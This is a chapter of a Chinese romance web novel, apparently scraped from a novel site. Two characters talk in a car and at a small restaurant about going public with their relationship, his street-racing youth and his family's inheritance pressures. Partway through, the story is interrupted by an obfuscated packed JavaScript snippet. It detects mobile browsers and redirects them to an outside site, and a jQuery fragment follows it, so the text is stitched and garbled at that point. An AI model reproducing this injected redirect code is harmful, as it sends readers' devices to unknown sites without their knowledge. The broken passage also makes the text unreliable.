幸好这颗糖还没吃下去，不然绝对会噎住。
楼衔月一脸惊恐，“公开？”
她手指抖了一下，圆溜溜的硬糖没接住，往下一坠，掉在了扶手箱里，滚了好几下。
商时序颔首，平静得像是在谈论今日的晚餐：“公开。”
她噎住，都不知道该怎么接话，搜肠刮肚的：“我们才刚在一起，而且又是同一个公司的……”给了很多项前提，她声音小小，“我觉得，是不是不着急，不然多不好啊。”
商时序眯起眼睛：“我见不得光？”
见不得光——这个词，明明是放在她身上会更为恰当吧？
楼衔月小动物直觉，立刻意识到了自己说错话，她抿着嘴，顾左右而言他：“我们去哪？是不是该开车了，好晚了……”
没人回答，她眼睛转了转，抱着空空如也的胃，偏过头去，“好饿。”
商时序好整以暇看她表演。
“都过了饭点，但是要等你开会，等了很久，又不能玩手机。”楼衔月越说越起劲，就是眼睛不够配合，哈欠都打不出来，没法挤出眼泪佯装可怜。
他更不配合，明明都有笑意了，还是不说话。
她被他打败，去抓他袖口：“真的饿了！”她强调，“等下就咕噜咕噜响了。”
商时序总算启动了车，一手抓着方向盘，一手重新捡起那颗糖递过去：“饿了还不吃。”
糖纸很新，葡萄味的，楼衔月脑袋忽然灵光起来：“这不会是专门买的吧？”
他不像是喜欢吃糖的人，还放在伸手可拿的柜子里。
商时序踩了油门，没说话，但眼神就像是在说“吃都堵不住你的嘴？”。
她也不说话了，舌尖抵住了糖球，咕噜咕噜在嘴里咬着。可她的表情，实在是高兴得太显而易见了。
深城的晚高峰没有过，一条大路上四五个红绿灯能卡半小时。
楼衔月无聊到去看他的车机显示屏，一个一个应用点开，歌单匮乏到全都是软件自带的。里面她第一次来听的那首有个红心标记，应该是他后来点上的。
“你平常开车都不听东西的吗？”她不可思议。
“你指听什么？”
“音乐、或者听书？”反正她自己上下班途中，经常会塞着耳机。
商时序点了两下，车内音质极佳的环绕音响开始播放财经新闻，女主持声色悦耳，说到一半，居然还连线了港城的专家。
楼衔月：“……”她的沉默是金，“你自己说的，路上不加班。”
“这是打发时间。”他纠正她。
她觉得他们之间对于“打发时间”的定义可能有些偏差，听不到五分钟，楼衔月摇着头飞速调了另一个电台，好歹是在金曲联播。
“看不出来。”她撑着下巴，像在闲谈，“商总的业余生活应该更丰富多彩才对。”
“点解？”他这个词不知道是从哪里学的，字正腔圆的发音。
“因为你明明每天下班都会去泡吧。”楼衔月言之凿凿。
“这样的人，应该有数十辆豪车换着开，车里面各种摆件香薰，冰柜里白酒洋酒都有，放的音乐是赛博朋克金属乐，一脚油门能上两百码。”
商时序瞥她，很无语的一眼：“这不是丰富多彩，是违反交规。”
“小说或者电视剧里都这么写。”她嘟囔着。
不过想想也是，就深城这路，再高级的车都只能乖乖被堵在路中间，看着小电动从窗外呼啸而过。
楼衔月并不气馁，继续追问，“那你是不是有很多车？”
“如果算上之前买的，是的。”商时序很严谨。
“之前买的，什么时候？”
“成年后。”
“成年，那不是还在读高中，这就能买车了……”她吸一口气，“买来做什么的，日常上下学？”
他笑了笑，轻描淡写：“飙车。”
楼衔月愣了一下：“飙车。”她复读了这个词，像是在思考这个词语的真正威力一样，然后轰炸降临，她睁大了眼睛，“你真的会飙车？”
“是很丰富多彩。”商时序转脸看向她，若有似无地笑着，“你说对了，我都干过。”
“都干过的意思是……你会换着开豪车？”
“市面上经典的跑车，坏一辆我开一辆。”
“你还会在车里放很多酒？”
“烈酒会比较多，现在想想，有点危险。”
何止是危险，万一撞到什么地方，那就是奔着整辆车带着人一块毁尸灭迹去的。
“……那歌呢？重金属摇滚？”
商时序沉吟了一下：“这个不会，我欣赏不来。”
他说完，以为楼衔月会关注些别的，但不料她定定地看了他半晌，忽然问：“发生了什么？”
他怔住。
“为什么是成年后？而不是高中毕业后？”她眸光纯粹。
大多数人的改变会发生在重要节点后，例如毕业、工作、退休。但是成年，这个时间点很特殊，一般只会是放纵者拿来推卸责任的借口。
“因为叛逆？”他下意识侧过头去，看似漫不经心地回答，“循规蹈矩十八年，想尝试下不一样的。”
但她没信，揪着他的措辞，摇着头，是一针见血，“你不会拿自己的未来开玩笑的，会特地选在成年——”
楼衔月停顿片刻，虽不确定，但还是开口，“你是不是早有计划？你是想证明什么吗？”
想证明什么？
很陌生的提问。
大多数人，即使是父母、兄长，都是带着规劝、不赞同和愤怒。
他们说的最多的是，“你到底还想怎么样？”、“是我们哪里做不对让你这样报复？”，又或者是指责、痛骂，“你这样下去迟早成废人”，像他正在自甘堕落。
没有人想一想，他是不是有所打算，又是为什么走到这一步。
过了多年，商时序回想起那段时间，已经学会用不同的眼光看待，笑谈一句年少轻狂。
论做法，他确实过于自以为是，带着我行我素的通病。但是那会儿的他骄傲狂妄，自认为自己值得被信任，所以不愿意主动坦诚自己的动机，而是试图让家人去迁就、了解和接纳他。
更进一步的，他是在等待着有人看穿。
但很可惜，他的不同寻常只会被当成别人茶余饭后评头论足的笑料，他不在意，只是有一点意兴阑珊。
但这一点等待、意兴阑珊，却在今日被人点破。
商时序又想吻她，这种感觉太奇妙。只可惜现在不是红绿灯，他只能腾出一只手来，抚一抚她的脸颊。
“你好聪明。”他夸夸她，“没有人这么问过我。”
他的态度给了楼衔月一点信心，那颗糖已经只剩一个指甲盖的大小，她嘎吱咬碎，然后继续道：“你想有人问？”
“……也许。”商时序给不出答案，“也许我想，又也许我知道没有，所以想。”
楼衔月想象不出来，十八岁的商时序是什么样子的。比起现在的处变不惊、气定神闲，他也会有那种莽撞冲动的时候吗？
说好要去的档口在老街窄巷里，车子没法开进去，只能停在其他停车场里。
也不算太远，大概五六分钟路程，里面和他发的照片一模一样，老旧空调吹着，支起的木桌子上放着一次性筷子筒，旁边摆着酱油和自制的辣椒酱，人还挺多。
“想吃什么。”商时序没有半点自己和周围环境不和谐的自觉，动作挺自在。
楼衔月几行字看不到一半，看不下去了，她还在想车里的对话，“你还没告诉我答案，为什么。”
“再不吃要饿坏了，小姐，”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570027|161852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他无奈，“先点好，我们边吃边说？”
她表情很不情愿，但还是听话，拿着笔随意画了两个圈，推回他那里：“我点好了。”
有点敷衍，芝麻糊都忘了。
商时序勾着唇，替她做了决定，挥手把单交了。
对上她不依不饶的眼神，他想了想，有点头疼。
实在是不知道从何说起。
“你听说过商家吗？”
“……听过。”楼衔月承认了，“那天，听到你们门口在聊，说你是法定继承人……之类的。”
她隐去了他前女友的身影，不想在这时候聊到她。
他点了点头：“祖上积累了点财富，几代人经营，从政从商的都多，所以名头挺吓人。”
商时序没带什么情绪，很客观地陈述，“我上头还有个哥哥，是我父亲前妻的孩子，比起我来，他是继承人更名正言顺。”
“但商家生意太大，所以看热闹不嫌事大的人也很多，对不对？”楼衔月说，“会有人说很多闲话，要你们兄弟阋墙、相互提防。”
他在她精准的形容中失笑：“也是小说里看来的？”
“不准打岔。”她说，皱眉毛的样子有点可爱。
商时序从善如流地继续：“其实我和我哥关系很不错，也多亏了我妈妈……她一直很难做，要学自己以前没接触过的东西，还要在我们之间一碗水端平。”
“端不平的，无论她做多好，也还是会有人挑刺。”楼衔月笃定。
他“嗯”了一声：“你说得对，所以，她甚至会刻意在我面前说一些话。”
“什么话？”
“不要争、不要贪心之类的。”商时序说，“我房间里被她摆上名家字画，主题都是‘谦让’。”
楼衔月蓦然有点难受：“但是他是哥哥，没有弟弟先学会忍让的道理。”
“在商家，这就是有道理的。”他早已不在意这些事，提起来口吻很平静，“你看，别人说的闲话没有任何作用，因为我从小就就被这么教育，让我不要去争不属于我的东西。”
他停了一会儿，“说实话，我也没想争过。”
“为什么？”楼衔月问，“因为你有你的骄傲？”
他笑了。
他们点的菜恰好此时端上来了部分，热气腾腾的扑了一脸。两盅凉瓜排骨放在手边，桌子中心的金钱肚颜色很漂亮，碟子周围有一圈灿灿的焦边，干焗的排骨也滋滋冒油，撒了翠绿的葱花。
商时序取了餐具，顺便递给了她一瓶玻璃瓶装着的汽水。
他看她吃了一口才肯回答，“因为做继承人很累的。”
这家店确实有值得千里迢迢来一趟的必要，比那些精装修的酒楼多出了锅气，金钱肚一口咬下去酥脆又多汁，楼衔月一边被烫地哈气一边听他说。
“我从小的课程安排已经算得上严苛，但是他比我更累。什么都要学、没有自由，就连吃饭也得应付我父亲时不时的提问。”
“没有人问过他愿不愿意喜不喜欢，他没有退路、必须要沿着既定的轨迹走下去。从这之后的几十年，他休息时间要用来处理工作、没有娱乐生活，为商家讲责任、讲奉献，直到他培养出下一代继承人。”
商时序神情很淡：“这很没意思，我不想要。”
他说这话是极从容的，不想要这三个字更是咬字清晰。
楼衔月安静了一会儿，隔着喧闹声，她的话如沙，无端有种静谧感：“你不想，但你能。因为你能，所以外界的传闻绝不会停歇。”
她搅动着碗里的汤水，一阵阵水汽向上涌动，她素净瓷白的脸被晕染得模糊又清丽。
“你说别人的闲话没用，但他们仍就会议论到你家里都不安宁。”她再度找寻到了他的话中之话，“所以，你才会做出放弃的姿态，你是为了自己，也是为了家人。”